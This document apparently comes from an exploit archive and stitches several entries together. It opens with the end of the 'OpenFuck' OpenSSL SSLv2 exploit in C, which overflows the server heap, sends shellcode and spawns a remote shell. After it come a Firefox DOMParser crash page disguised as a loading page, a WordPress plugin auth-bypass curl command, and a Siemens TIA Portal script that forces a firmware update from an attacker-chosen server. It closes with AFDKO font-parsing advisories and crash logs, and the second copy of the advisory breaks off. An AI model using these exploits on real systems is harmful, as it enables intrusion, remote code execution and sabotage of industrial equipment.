void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
{
unsigned char buf[BUFSIZE];
unsigned char* p;
int tot_len;
MD5_CTX ctx;
int seq;
if (ssl->encrypted)
tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */
else
tot_len = rec_len;
if (2 + tot_len > BUFSIZE) {
printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
exit(1);
}
p = buf;
s2n(tot_len, p);
buf[0] = buf[0] | 0x80; /* two byte header */
if (ssl->encrypted) {
/* calculate the MAC */
seq = ntohl(ssl->write_seq);
MD5_Init(&ctx);
MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
MD5_Update(&ctx, rec, rec_len);
MD5_Update(&ctx, &seq, 4);
MD5_Final(p, &ctx);
p+=MD5_DIGEST_LENGTH;
memcpy(p, rec, rec_len);
/* encrypt the payload */
RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
}
else {
memcpy(p, rec, rec_len);
}
send(ssl->sock, buf, 2 + tot_len, 0);
/* the sequence number is incremented by both encrypted and plaintext packets
*/
ssl->write_seq++;
}
/* Send a CLIENT HELLO message to the server */
void send_client_hello(ssl_conn *ssl)
{
int i;
unsigned char buf[BUFSIZE] =
"\x01" /* client hello msg */
"\x00\x02" /* client version */
"\x00\x18" /* cipher specs length */
"\x00\x00" /* session id length */
"\x00\x10" /* challenge length */
"\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */
"\x80\x01\x00\x80\x08\x00\x80\x06"
"\x00\x40\x04\x00\x80\x02\x00\x80"
""; /* session id data */
/* generate CHALLENGE LENGTH bytes of challenge data */
for (i = 0; i < CHALLENGE_LENGTH; i++) {
ssl->challenge[i] = (unsigned char) (rand() >> 24);
}
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}
/* Get a SERVER HELLO response from the server */
void get_server_hello(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
const unsigned char *p, *end;
int len;
int server_version, cert_length, cs_length, conn_id_length;
int found;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len < 11) {
printf("get_server_hello: Packet too short (len = %d)\n", len);
exit(1);
}
p = buf;
if (*(p++) != SSL2_MT_SERVER_HELLO) {
printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
exit(1);
}
if (*(p++) != 0) {
printf("get_server_hello: SESSION-ID-HIT is not 0\n");
exit(1);
}
if (*(p++) != 1) {
printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
exit(1);
}
n2s(p, server_version);
if (server_version != 2) {
printf("get_server_hello: Unsupported server version %d\n", server_version);
exit(1);
}
n2s(p, cert_length);
n2s(p, cs_length);
n2s(p, conn_id_length);
if (len != 11 + cert_length + cs_length + conn_id_length) {
printf("get_server_hello: Malformed packet size\n");
exit(1);
}
/* read the server certificate */
ssl->x509 = NULL;
ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
if (ssl->x509 == NULL) {
printf("get server hello: Cannot parse x509 certificate\n");
exit(1);
}
if (cs_length % 3 != 0) {
printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
exit(1);
}
found = 0;
for (end=p+cs_length; p < end; p += 3) {
if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
found = 1; /* SSL CK RC4 128 WITH MD5 */
}
if (!found) {
printf("get server hello: Remote server does not support 128 bit RC4\n");
exit(1);
}
if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
exit(1);
}
/* The connection id is sent back to the server in the CLIENT FINISHED packet */
ssl->conn_id_length = conn_id_length;
memcpy(ssl->conn_id, p, conn_id_length);
}
/* Send a CLIENT MASTER KEY message to the server */
void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
int encrypted_key_length, key_arg_length, record_length;
unsigned char* p;
int i;
EVP_PKEY *pkey=NULL;
unsigned char buf[BUFSIZE] =
"\x02" /* client master key message */
"\x01\x00\x80" /* cipher kind */
"\x00\x00" /* clear key length */
"\x00\x40" /* encrypted key length */
"\x00\x08"; /* key arg length */
p = &buf[10];
/* generate a 128 byte master key */
for (i = 0; i < RC4_KEY_LENGTH; i++) {
ssl->master_key[i] = (unsigned char) (rand() >> 24);
}
pkey=X509_get_pubkey(ssl->x509);
if (!pkey) {
printf("send client master key: No public key in the server certificate\n");
exit(1);
}
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
printf("send client master key: The public key in the server certificate is not a RSA key\n");
exit(1);
}
/* Encrypt the client master key with the server public key and put it in the packet */
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) {
printf("send client master key: RSA encryption failure\n");
exit(1);
}
p += encrypted_key_length;
if (key_arg_overwrite) {
/* These 8 bytes fill the key arg array on the server */
for (i = 0; i < 8; i++) {
*(p++) = (unsigned char) (rand() >> 24);
}
/* This overwrites the data following the key arg array */
memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
key_arg_length = 8 + key_arg_overwrite_len;
}
else {
key_arg_length = 0; /* RC4 doesn't use KEY-ARG */
}
p = &buf[6];
s2n(encrypted_key_length, p);
s2n(key_arg_length, p);
record_length = 10 + encrypted_key_length + key_arg_length;
send_ssl_packet(ssl, buf, record_length);
ssl->encrypted = 1;
}
void generate_key_material(ssl_conn* ssl)
{
unsigned int i;
MD5_CTX ctx;
unsigned char *km;
unsigned char c='0';
km=ssl->key_material;
for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
MD5_Init(&ctx);
MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
MD5_Update(&ctx,&c,1);
c++;
MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
MD5_Final(km,&ctx);
km+=MD5_DIGEST_LENGTH;
}
}
void generate_session_keys(ssl_conn* ssl)
{
generate_key_material(ssl);
ssl->read_key = &(ssl->key_material[0]);
ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}
void get_server_verify(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len != 1 + CHALLENGE_LENGTH) {
printf("get server verify: Malformed packet size\n");
exit(1);
}
if (buf[0] != SSL2_MT_SERVER_VERIFY) {
printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);
exit(1);
}
if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
printf("get server verify: Challenge strings don't match\n");
exit(1);
}
}
void send_client_finished(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
buf[0] = SSL2_MT_CLIENT_FINISHED;
memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}
void get_server_finished(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
int i;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (buf[0] != SSL2_MT_SERVER_FINISHED) {
printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);
exit(1);
}
if (len <= 112 /*17*/) {
printf("This server is not vulnerable to this attack.\n");
exit(1);
}
cipher = *(int*)&buf[101];
ciphers = *(int*)&buf[109];
printf("cipher: 0x%x ciphers: 0x%x\n", cipher, ciphers);
}
void get_server_error(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);
exit(1);
}
}
void usage(char* argv0)
{
int i;
printf(": Usage: %s target box [port] [-c N]\n\n", argv0);
printf(" target - supported box eg: 0x00\n");
printf(" box - hostname or IP address\n");
printf(" port - port for ssl connection\n");
printf(" -c open N connections. (use range 40-50 if u dont know)\n");
printf(" \n\n");
printf(" Supported OffSet:\n");
for (i=0; i<=MAX_ARCH; i++) {
printf("\t0x%02x - %s\n", i, architectures[i].desc);
}
printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n");
exit(1);
}
int main(int argc, char* argv[])
{
char* host;
int port = 443;
int i;
int arch;
int N = 0;
ssl_conn* ssl1;
ssl_conn* ssl2;
printf("\n");
printf("*******************************************************************\n");
printf("* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *\n");
printf("*******************************************************************\n");
printf("* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");
printf("* #hackarena irc.brasnet.org *\n");
printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");
printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");
printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");
printf("*******************************************************************\n");
printf("\n");
if ((argc < 3) || (argc > 6))
usage(argv[0]);
sscanf(argv[1], "0x%x", &arch);
if ((arch < 0) || (arch > MAX_ARCH))
usage(argv[0]);
host = argv[2];
if (argc == 4)
port = atoi(argv[3]);
else if (argc == 5) {
if (strcmp(argv[3], "-c"))
usage(argv[0]);
N = atoi(argv[4]);
}
else if (argc == 6) {
port = atoi(argv[3]);
if (strcmp(argv[4], "-c"))
usage(argv[0]);
N = atoi(argv[5]);
}
srand(0x31337);
for (i=0; i<N; i++) {
printf("\rConnection... %d of %d", i+1, N);
fflush(stdout);
connect_host(host, port);
usleep(100000);
}
if (N) printf("\n");
printf("Establishing SSL connection\n");
ssl1 = ssl_connect_host(host, port);
ssl2 = ssl_connect_host(host, port);
send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);
printf("Ready to send shellcode\n");
port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
*(int*)&overwrite_next_chunk[156] = cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);
for (i = 0; i < ssl2->conn_id_length; i++) {
ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
}
send_client_finished(ssl2);
get_server_error(ssl2);
printf("Spawning shell...\n");
sleep(1);
sh(ssl2->sock);
close(ssl2->sock);
close(ssl1->sock);
return 0;
}
/* spabam: It isn't 0day */
<!--
Exploit Title: DOMParser Denial of Service on Firefox 67.0.4
Date: 09/07/2019
Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.
Exploit Author:Tejas Ajay Naik
Vendor Homepage:
Software Link: https://ftp.mozilla.org/pub/firefox/releases/
Version: 67.0.4
Tested On: Linux x86,Windows x64 1803
CVE:
-->
<!DOCTYPE html>
<head>
<title>
Loading please wait
</title>
<script>
function MyFun() {
var text = [];
for(var i=0 ;i<300 ; ++i)
text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
"<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";
var domparser = new DOMParser();
var doc = domparser.parseFromString(text,"application/xhtml+xml");
}
</script>
</head>
<body>
<input type="button" onmousemove="MyFun()" value="click"/>
<p id="demo"></p>
</body>
</html>
Exploit Title: WP Like Button 1.6.0 - Auth Bypass
Date: 05-Jul-19
Exploit Author: Benjamin Lim
Vendor Homepage: http://www.crudlab.com
Software Link: https://wordpress.org/plugins/wp-like-button/
Version: 1.6.0
CVE : CVE-2019-13344
1. Product & Service Introduction:
WP Like button allows you to add Facebook like button on your wordpress
blog. You can also add Share button along with Like button or can add
recommend button. As of now, the plugin has been downloaded 129,089 times
and has 10,000+ active installs.
2. Technical Details & Description:
Authentication Bypass vulnerability in the WP Like Button (Free) plugin
version 1.6.0 allows unauthenticated attackers to change the settings of
the plugin. The contains() function in wp_like_button.php did not check if
the current request is made by an authorized user, thus allowing any
unauthenticated user to successfully update the settings of the plugin.
3. Proof of Concept (PoC):
For example, the curl command below allows an attacker to change the
each_page_url parameter to https://hijack.com. This allows the attacker to
hijack Facebook likes.
curl -k -i --raw -X POST -d
"page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display[]=1&display[]=2&display[]=4&display[]=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url=
https://hijack.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb="
"https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1"
-H "Content-Type: application/x-www-form-urlencoded"
4. Mitigation
No update has been released by the vendor. Users are advised to switch to a
different plugin.
5. Disclosure Timeline
2019/06/24 Vendor contacted regarding vulnerability in v1.5.0 (crudlab@gmail.com)
2019/06/30 Second email sent to vendor (crudlab@gmail.com)
2019/07/02 Vendor released v1.6.0 update. Vulnerability still exists.
Vendor did not acknowledge any emails.
2018/07/03 Third email sent to vendor's billing email domain (info@purelogics.net)
2018/07/05 Public disclosure
6. Credits & Authors:
Benjamin Lim - [https://limbenjamin.com]
##
# Exploit Title: Siemens TIA Portal unauthenticated remote command execution
# Date: 06/11/2019
# Exploit Author: Joseph Bingham
# CVE : CVE-2019-10915
# Vendor Homepage: www.siemens.com
# Software Link: https://new.siemens.com/global/en/products/automation/industry-software/automation-software/tia-portal.html
# Version: TIA Portal V15 Update 4
# Tested on: Windows 10
# Advisory: https://www.tenable.com/security/research/tra-2019-33
# Writeup: https://medium.com/tenable-techblog/nuclear-meltdown-with-critical-ics-vulnerabilities-8af3a1a13e6a
# Affected Vendors/Device/Firmware:
# - Siemens STEP7 / TIA Portal
##
##
# Example usage
# $ python cve_2019_10915_tia_portal_rce.py
# Received '0{"sid":"ZF_W8SDLY3SCGExV9QZc1Z9-","upgrades":[],"pingInterval":25000,"pingTimeout":60000}'
# Received '40'
# Received '42[" ",{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":0},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":""},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":""},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},null]'
##
import websocket, ssl, argparse
parser = argparse.ArgumentParser()
parser.add_argument("target_host", help="TIA Portal host")
parser.add_argument("target_port", help="TIA Portal port (ie. 8888)", type=int)
parser.add_argument("(optional) update_server", help="Malicious firmware update server IP")
args = parser.parse_args()
host = args.target_host
port = args.target_port
updatesrv = args.update_server
ws = websocket.create_connection("wss://"+host+":"+port+"/socket.io/?EIO=3&transport=websocket&sid=", sslopt={"cert_reqs": ssl.CERT_NONE})
# Read current proxy settings
#req = '42["cli2serv",{"moduleFunc":"ProxyModule.readProxySettings","data":"","responseEvent":" "}]'
# Change application proxy settings
#req = '42["cli2serv",{"moduleFunc":"ProxyModule.saveProxyConfiguration","data":{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":1},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":"10.0.0.200"},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":"8888"},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},responseEvent":" "}]'
# Force a malicious firmware update
req = 42["cli2serv",{"moduleFunc":"SoftwareModule.saveUrlSettings","data":{"ServerUrl":"https://"+updatesrv+"/FWUpdate/","ServerSource":"CORPORATESERVER","SelectedUSBDrive":"\\","USBDrivePath":"","downloadDestinationPath":"C:\\Siemens\\TIA Admin\\DownloadCache","isMoveDownloadNewDestination":true,"CyclicCheck":false,"sourcePath":"C:\\Siemens\\TIA Admin\\DownloadCache","productionLine":"ProductionLine1","isServerChanged":true},"responseEvent":" "}]'
ws.send(req)
result = ws.recv()
print("Received '%s'" % result)
result = ws.recv()
print("Received '%s'" % result)
result = ws.recv()
print("Received '%s'" % result)
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The handleBlend() function in afdko/c/public/lib/source/cffread/cffread.c is called when a cff_blend operator is encountered while parsing a CFF DICT object in readDICT():
--- cut ---
1466 case cff_blend:
1467 if (h->stack.numRegions == 0) {
1468 /* priv->vsindex is set to 0 by default; it is otherwise only if the vsindex operator is used */
1469 setNumMasters(h, priv->vsindex);
1470 }
1471 handleBlend(h);
1472 continue;
--- cut ---
The prologue of handleBlend() is as follows:
--- cut ---
757 static void handleBlend(cfrCtx h) {
[...]
776
777 int numBlends = INDEX_INT(h->stack.cnt - 1);
778 stack_elem *firstItem;
779 int i = 0;
780 int numDeltaBlends = numBlends * h->stack.numRegions;
781 int firstItemIndex;
782 h->flags |= CFR_SEEN_BLEND;
783
784 h->stack.cnt--;
785
786 if (numBlends < 0 || numDeltaBlends < 0)
787 fatal(h, cfrErrStackUnderflow);
788 CHKUFLOW(numBlends + numDeltaBlends);
789 firstItemIndex = (h->stack.cnt - (numBlends + numDeltaBlends));
790 firstItem = &(h->stack.array[firstItemIndex]);
791
--- cut ---
Here is what happens in the code: the 32-bit numBlends variable is initialized with a fully controlled value from the top of the interpreter stack. The numDeltaBlends variable is calculated using numBlends and h->stack.numRegions, which is a typically small (theoretically up to 65535) but also controlled value. The code then makes sure that neither numBlends or numDeltaBlends are negative (line 786), and that there are at least numBlends+numDeltaBlends values on the stack (line 788). If these conditions are met, the function proceeds to writing to h->stack.array[h->stack.cnt - (numBlends + numDeltaBlends)] and further elements assuming the access is safe.
However, the sanity checks in lines 786-788 are not sufficient, as they miss one corner case - when both numBlends and numDeltaBlends are positive, but the numBlends + numDeltaBlends sum is negative due to signed 32-bit integer arithmetic. For example, if:
- numBlends is 0x31313131
- h->stack.numRegions is 2
then:
- numDeltaBlends is 0x62626262
- numBlends + numDeltaBlends is 0x93939393
The above values can be set by a specially crafted font and they meet the conditions verified by handleBlend(), yet the index of -0x93939393 (which translates to 1819044973) is largely out of bounds. This may be used to overwrite memory both inside of the stack-based cfrCtx object, and outside of it.
-----=====[ Proof of Concept ]=====-----
The proof of concept file contains a Private DICT beginning with the following two operators:
1. cff_longint(0x31313131)
2. cff_blend
This causes the above signedness issue to occur, leading to an attempt to write to a stack element at h->stack.array[1819044973].
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" started with ./tx -cff poc.otf crashes with a SIGSEGV while trying to write to an unmapped memory address:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811
811 firstItem->numBlends = (unsigned short)numBlends;
(gdb) print numBlends
$1 = 825307441
(gdb) print numDeltaBlends
$2 = 1650614882
(gdb) print numBlends+numDeltaBlends
$3 = -1819044973
(gdb) print firstItemIndex
$5 = 1819044973
(gdb) x/10i $rip
=> 0x41670e <handleBlend+878>: mov %cx,0x8(%rdx)
0x416712 <handleBlend+882>: mov -0x8(%rbp),%rdi
0x416716 <handleBlend+886>: movslq -0x20(%rbp),%rdx
0x41671a <handleBlend+890>: shl $0x2,%rdx
0x41671e <handleBlend+894>: mov %rdx,%rsi
0x416721 <handleBlend+897>: callq 0x416880 <memNew>
0x416726 <handleBlend+902>: mov -0x18(%rbp),%rdx
0x41672a <handleBlend+906>: mov %rax,0x10(%rdx)
0x41672e <handleBlend+910>: mov -0x1c(%rbp),%eax
0x416731 <handleBlend+913>: cmp -0x20(%rbp),%eax
(gdb) info reg $rdx
rdx 0xa2a9b3280 43664487040
(gdb) x/10gx $rdx
0xa2a9b3280: Cannot access memory at address 0xa2a9b3280
(gdb) bt
#0 0x000000000041670e in handleBlend (h=0x7103a0) at ../../../../../source/cffread/cffread.c:811
#1 0x0000000000411318 in readDICT (h=0x7103a0, region=0x7156d8, topdict=0) at ../../../../../source/cffread/cffread.c:1471
#2 0x000000000041241f in readPrivate (h=0x7103a0, iFD=0) at ../../../../../source/cffread/cffread.c:1637
#3 0x0000000000411a17 in readFDArray (h=0x7103a0) at ../../../../../source/cffread/cffread.c:1711
#4 0x000000000040dc5c in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2761
#5 0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429
#7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
at ../../../../source/tx.c:488
#8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below:
--- cut ---
(50d4.f24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!handleBlend+0xc1:
00007ffb`29e68f5d 4439a4cb28030000 cmp dword ptr [rbx+rcx*8+328h],r12d ds:0000016e`de978c30=????????
0:039> ? rbx
Evaluate expression: 1532035423952 = 00000164`b46d5ed0
0:039> ? rcx
Evaluate expression: 5457134919 = 00000001`45454547
0:039> k
# Child-SP RetAddr Call Site
00 00000021`5eeea990 00007ffb`29e6b2e3 DWrite!handleBlend+0xc1
01 00000021`5eeea9d0 00007ffb`29e6c41e DWrite!readDICT+0xf67
02 00000021`5eeeaa30 00007ffb`29e6bc33 DWrite!readPrivate+0x3a
03 00000021`5eeeaa60 00007ffb`29e6ddf4 DWrite!readFDArray+0xcb
04 00000021`5eeeaa90 00007ffb`29e621e7 DWrite!cfrBegFont+0x548
05 00000021`5eeeb320 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
06 00000021`5eeeb820 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
07 00000021`5eeeba00 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
08 00000021`5eeebc20 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
09 00000021`5eeebf80 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0a 00000021`5eeec010 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0b 00000021`5eeec130 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0c 00000021`5eeec180 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
0d 00000021`5eeec1d0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0e 00000021`5eeec200 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0f 00000021`5eeec230 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
10 00000021`5eeec270 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47099.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to 